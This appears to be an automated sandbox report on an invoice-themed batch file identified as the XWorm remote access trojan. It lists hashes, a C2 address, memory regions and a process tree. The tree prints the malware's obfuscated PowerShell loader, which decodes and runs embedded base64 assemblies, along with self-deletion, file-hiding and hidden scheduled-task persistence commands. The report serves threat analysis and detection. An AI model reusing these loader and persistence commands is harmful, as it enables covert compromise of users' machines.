Resubmissions

09-04-2024 17:39

240409-v8jxlahb3v 10

25-03-2024 14:18

240325-rmr5asae55 10

20-03-2024 19:31

240320-x8t4nsgg65 10

20-03-2024 18:56

240320-xlp67sga73 10

18-03-2024 12:37

240318-pt1c5she4x 10

Analysis

  • max time kernel
    364s
  • max time network
    388s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-03-2024 18:56

General

  • Target

    INVOICE-02417869_77319135.bat

  • Size

    304KB

  • MD5

    6d6b6c679309bd938dbcaada6f7820dd

  • SHA1

    ccb02a27885c656c2c52dc94272b91d46c46ac7c

  • SHA256

    e1e32a7e5096ea1ad664b321e1bd1603761e28e3b63025fa02078361545894fd

  • SHA512

    7c2317cf54a96bde7d0cb3d1ed9afdc91e1d35835bcdcab24b56d8bd3c8c3a8320c97c90267a2171d72919c9b6a89e845582f66e76e3354c23f79f5560645032

  • SSDEEP

    1536:eN2lxmAHlCvI8H41j/KnDTBpRcuNoCSsXDht/lFqz5FWJYDzqGHRBWZbgbLxihFZ:eN2lZhSIj/crDhFrq9FFDnl3AIdWOC

Score
10/10

Malware Config

Extracted

Family

xworm

Version

5.0

C2

38.146.219.228:7000

Mutex

4l7KI6LtRV2tYmxG

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\INVOICE-02417869_77319135.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1572
    • C:\Users\Admin\AppData\Local\Temp\INVOICE-02417869_77319135.bat.exe
      "C:\Users\Admin\AppData\Local\Temp\INVOICE-02417869_77319135.bat.exe" -noprofile -w hidden -ep bypass -command $h1dden_6PX4R4EI97 = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\INVOICE-02417869_77319135.bat').Split([Environment]::NewLine); foreach ($h1dden_5CTWVIXP39 in $h1dden_6PX4R4EI97) { $h1dden_GWJZ79AQLX = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $h1dden_GWJZ79AQLX = [System.Text.RegularExpressions.Regex]::Replace($h1dden_GWJZ79AQLX, '_', 'NC9JF6XBBE9W'); if ($h1dden_5CTWVIXP39 -match $h1dden_GWJZ79AQLX) { $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_5CTWVIXP39, 'NC9JF6XBBE9W', ''); $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_9ETDMIF4K6, '#', '/'); $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_9ETDMIF4K6, '@', 'A');break; }; }; if ($h1dden_9ETDMIF4K6.Contains('GHQGYADXBYSPMVIMBZELCEYKCDTGAZ')) { $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_9ETDMIF4K6, 'GHQGYADXBYSPMVIMBZELCEYKCDTGAZ', ''); } else { exit }; $h1dden_6H4D035AJI = [string[]]$h1dden_9ETDMIF4K6.Split('!'); $h1dden_8BPQJS0IX6 = [System.Convert]::FromBase64String($h1dden_6H4D035AJI[0]); $h1dden_GZP997YC33 = [System.Reflection.Assembly]::Load($h1dden_8BPQJS0IX6); $h1dden_SU6ND0HM0P = $h1dden_GZP997YC33.EntryPoint; $h1dden_SU6ND0HM0P.Invoke($null, $null); $h1dden_D2APD5ZCTP = [System.Convert]::FromBase64String($h1dden_6H4D035AJI[1]); $h1dden_R7HO2DCETZ = [System.Reflection.Assembly]::Load($h1dden_D2APD5ZCTP); $h1dden_XZ8OZOMAPF = $h1dden_R7HO2DCETZ.EntryPoint; $h1dden_XZ8OZOMAPF.Invoke($null, $null)
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1048
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(1048);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:396
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C ATTRIB +H "C:\Users\Admin\AppData\Local\Temp\INVOICE-02417869_77319135.bat.exe" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1868
        • C:\Windows\system32\attrib.exe
          ATTRIB +H "C:\Users\Admin\AppData\Local\Temp\INVOICE-02417869_77319135.bat.exe"
          4⤵
          • Views/modifies file attributes
          PID:1540
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_865_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_865.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2196
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_865.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3204
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_865.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2932
          • C:\Users\Admin\AppData\Roaming\startup_str_865.bat.exe
            "C:\Users\Admin\AppData\Roaming\startup_str_865.bat.exe" -noprofile -w hidden -ep bypass -command $h1dden_6PX4R4EI97 = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\startup_str_865.bat').Split([Environment]::NewLine); foreach ($h1dden_5CTWVIXP39 in $h1dden_6PX4R4EI97) { $h1dden_GWJZ79AQLX = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $h1dden_GWJZ79AQLX = [System.Text.RegularExpressions.Regex]::Replace($h1dden_GWJZ79AQLX, '_', 'NC9JF6XBBE9W'); if ($h1dden_5CTWVIXP39 -match $h1dden_GWJZ79AQLX) { $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_5CTWVIXP39, 'NC9JF6XBBE9W', ''); $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_9ETDMIF4K6, '#', '/'); $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_9ETDMIF4K6, '@', 'A');break; }; }; if ($h1dden_9ETDMIF4K6.Contains('GHQGYADXBYSPMVIMBZELCEYKCDTGAZ')) { $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_9ETDMIF4K6, 'GHQGYADXBYSPMVIMBZELCEYKCDTGAZ', ''); } else { exit }; $h1dden_6H4D035AJI = [string[]]$h1dden_9ETDMIF4K6.Split('!'); $h1dden_8BPQJS0IX6 = [System.Convert]::FromBase64String($h1dden_6H4D035AJI[0]); $h1dden_GZP997YC33 = [System.Reflection.Assembly]::Load($h1dden_8BPQJS0IX6); $h1dden_SU6ND0HM0P = $h1dden_GZP997YC33.EntryPoint; $h1dden_SU6ND0HM0P.Invoke($null, $null); $h1dden_D2APD5ZCTP = [System.Convert]::FromBase64String($h1dden_6H4D035AJI[1]); $h1dden_R7HO2DCETZ = [System.Reflection.Assembly]::Load($h1dden_D2APD5ZCTP); $h1dden_XZ8OZOMAPF = $h1dden_R7HO2DCETZ.EntryPoint; $h1dden_XZ8OZOMAPF.Invoke($null, $null)
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4400
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(4400);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4048
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C ATTRIB +H "C:\Users\Admin\AppData\Roaming\startup_str_865.bat.exe" & exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4280
              • C:\Windows\system32\attrib.exe
                ATTRIB +H "C:\Users\Admin\AppData\Roaming\startup_str_865.bat.exe"
                7⤵
                • Views/modifies file attributes
                PID:792

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    661739d384d9dfd807a089721202900b

    SHA1

    5b2c5d6a7122b4ce849dc98e79a7713038feac55

    SHA256

    70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

    SHA512

    81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    4d1969fa5f066db3e8ea5693cc9a1718

    SHA1

    3f630883efe81b6f1d3cf1fec526237fe4202334

    SHA256

    0069835519f12f37ead8f308e96d8c90ea09e081a94a941c1f8921fe6e1834ce

    SHA512

    4f74412265a1b11826f18e58bfc6b59c006914dd2acb74045dffca775cb1fb620605233f5c5fc7b03fe50433e99dba4e4bd1b4afc012cfc8f0214d1dedcfb88d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    38626e78f952256a721176512a7f8c26

    SHA1

    70636067d2b0ec031d6912faba82a8665fa54a08

    SHA256

    ce79b9265cd36fec49cda6c92664354a8b6448bcf28bc13ff8b318b3b80c756d

    SHA512

    49005e71061285d59144a8551bb9b317694a64b383c64ec6e3c34308371a95b8fbac7356c2a8eb15477030f9aee10b347bca4f95601ba4b262eb3df0ec22c0d2

  • C:\Users\Admin\AppData\Local\Temp\INVOICE-02417869_77319135.bat.exe

    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qb0nyth4.pia.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\startup_str_865.bat

    Filesize

    304KB

    MD5

    6d6b6c679309bd938dbcaada6f7820dd

    SHA1

    ccb02a27885c656c2c52dc94272b91d46c46ac7c

    SHA256

    e1e32a7e5096ea1ad664b321e1bd1603761e28e3b63025fa02078361545894fd

    SHA512

    7c2317cf54a96bde7d0cb3d1ed9afdc91e1d35835bcdcab24b56d8bd3c8c3a8320c97c90267a2171d72919c9b6a89e845582f66e76e3354c23f79f5560645032

  • C:\Users\Admin\AppData\Roaming\startup_str_865.vbs

    Filesize

    115B

    MD5

    0176220b5570dde769d9f38f297c5c02

    SHA1

    dbb79f787092784b6fb63ed1ba7e44e6764c3f3d

    SHA256

    2d65a8c5a7b12b5e9cee886b3dc49cce94cfc2e18b4850e2a012f83940372fca

    SHA512

    f6a84a657c59d9395374f44c92c917b781d99ce3ef488877ef04b3582cae979a44c926826f7938d5484ab10aa2c9a0312b4c4b1fc8cbf0f8d8fcdba68a9d3ed4

  • memory/396-69-0x00007FFC227B0000-0x00007FFC23271000-memory.dmp

    Filesize

    10.8MB

  • memory/396-44-0x000001C663BF0000-0x000001C663C00000-memory.dmp

    Filesize

    64KB

  • memory/396-22-0x000001C663BF0000-0x000001C663C00000-memory.dmp

    Filesize

    64KB

  • memory/396-21-0x00007FFC227B0000-0x00007FFC23271000-memory.dmp

    Filesize

    10.8MB

  • memory/396-62-0x00007FFC227B0000-0x00007FFC23271000-memory.dmp

    Filesize

    10.8MB

  • memory/1048-13-0x000002546AB30000-0x000002546AB52000-memory.dmp

    Filesize

    136KB

  • memory/1048-57-0x00007FFC227B0000-0x00007FFC23271000-memory.dmp

    Filesize

    10.8MB

  • memory/1048-15-0x000002546AB70000-0x000002546AB80000-memory.dmp

    Filesize

    64KB

  • memory/1048-14-0x00007FFC227B0000-0x00007FFC23271000-memory.dmp

    Filesize

    10.8MB

  • memory/1048-19-0x000002546AB70000-0x000002546AB80000-memory.dmp

    Filesize

    64KB

  • memory/1048-32-0x00007FFC41190000-0x00007FFC41385000-memory.dmp

    Filesize

    2.0MB

  • memory/1048-18-0x000002546AB70000-0x000002546AB80000-memory.dmp

    Filesize

    64KB

  • memory/1048-17-0x000002546CCF0000-0x000002546CD2C000-memory.dmp

    Filesize

    240KB

  • memory/1048-16-0x000002546AB60000-0x000002546AB68000-memory.dmp

    Filesize

    32KB

  • memory/1048-59-0x000002546AB70000-0x000002546AB80000-memory.dmp

    Filesize

    64KB

  • memory/1048-60-0x000002546AB70000-0x000002546AB80000-memory.dmp

    Filesize

    64KB

  • memory/1048-61-0x00007FFC227B0000-0x00007FFC23271000-memory.dmp

    Filesize

    10.8MB

  • memory/1048-64-0x00007FFC41190000-0x00007FFC41385000-memory.dmp

    Filesize

    2.0MB

  • memory/1048-65-0x00007FFC31330000-0x00007FFC31349000-memory.dmp

    Filesize

    100KB

  • memory/2196-43-0x00007FFC227B0000-0x00007FFC23271000-memory.dmp

    Filesize

    10.8MB

  • memory/2196-47-0x00000155EF670000-0x00000155EF680000-memory.dmp

    Filesize

    64KB

  • memory/2196-46-0x00000155EF670000-0x00000155EF680000-memory.dmp

    Filesize

    64KB

  • memory/2196-45-0x00000155EF670000-0x00000155EF680000-memory.dmp

    Filesize

    64KB

  • memory/2196-50-0x00007FFC227B0000-0x00007FFC23271000-memory.dmp

    Filesize

    10.8MB

  • memory/4048-102-0x00000222354E0000-0x00000222354F0000-memory.dmp

    Filesize

    64KB

  • memory/4048-110-0x00000222354E0000-0x00000222354F0000-memory.dmp

    Filesize

    64KB

  • memory/4048-109-0x00000222354E0000-0x00000222354F0000-memory.dmp

    Filesize

    64KB

  • memory/4048-108-0x00000222354E0000-0x00000222354F0000-memory.dmp

    Filesize

    64KB

  • memory/4048-88-0x00007FFC227B0000-0x00007FFC23271000-memory.dmp

    Filesize

    10.8MB

  • memory/4048-89-0x00000222354E0000-0x00000222354F0000-memory.dmp

    Filesize

    64KB

  • memory/4048-90-0x00000222354E0000-0x00000222354F0000-memory.dmp

    Filesize

    64KB

  • memory/4048-106-0x00007FFC227B0000-0x00007FFC23271000-memory.dmp

    Filesize

    10.8MB

  • memory/4400-91-0x00000235EA1A0000-0x00000235EA1AA000-memory.dmp

    Filesize

    40KB

  • memory/4400-103-0x00007FFC227B0000-0x00007FFC23271000-memory.dmp

    Filesize

    10.8MB

  • memory/4400-104-0x00000235E7B50000-0x00000235E7B60000-memory.dmp

    Filesize

    64KB

  • memory/4400-105-0x00000235E7B50000-0x00000235E7B60000-memory.dmp

    Filesize

    64KB

  • memory/4400-92-0x00000235EA1B0000-0x00000235EA1BE000-memory.dmp

    Filesize

    56KB

  • memory/4400-107-0x00007FFC31330000-0x00007FFC31349000-memory.dmp

    Filesize

    100KB

  • memory/4400-85-0x00000235E7B50000-0x00000235E7B60000-memory.dmp

    Filesize

    64KB

  • memory/4400-84-0x00000235E7B50000-0x00000235E7B60000-memory.dmp

    Filesize

    64KB

  • memory/4400-83-0x00007FFC227B0000-0x00007FFC23271000-memory.dmp

    Filesize

    10.8MB